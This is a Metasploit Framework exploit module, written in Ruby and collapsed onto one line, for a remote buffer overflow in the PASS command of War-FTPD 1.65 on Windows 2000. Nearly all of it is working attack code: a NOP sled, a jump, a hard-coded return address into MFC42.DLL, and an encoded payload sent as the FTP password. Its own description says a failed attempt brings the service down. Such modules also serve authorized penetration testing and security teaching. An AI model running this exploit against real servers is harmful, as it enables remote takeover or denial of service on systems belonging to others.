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## # $Id: warftpd_165_pass.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Password Overflow', 'Description'=> %q{ This exploits the buffer overflow found in the PASS command in War-FTPD 1.65. This particular module will only work reliably against Windows 2000 targets. The server must be configured to allow anonymous logins for this exploit to succeed. A failed attempt will bring down the service completely. }, 'Author' => 'hdm', 'License'=> BSD_LICENSE, 'Version'=> '$Revision: 9669 $', 'References' => [ [ 'CVE', '1999-0256'], [ 'OSVDB', '875'], [ 'BID', '10078' ], [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload'=> { 'Space'=> 424, 'BadChars' => "\x00\x0a\x0d\x40", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => "-find" } }, 'Targets'=> [ # Target 0 [ 'Windows 2000', { 'Platform' => 'win', 'Ret'=> 0x5f4e772b # jmp ebx in the included MFC42.DLL }, ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Mar 19 1998')) end def exploit connect print_status("Trying target #{target.name}...") buf= make_nops(566) + payload.encoded buf[558, 2]= "\xeb\x06" buf[562, 4]= [ target.ret ].pack('V') # Send USER Command send_user(datastore['FTPUSER']) # Send PASS Command send_cmd(['PASS', buf], false) handler disconnect end end |
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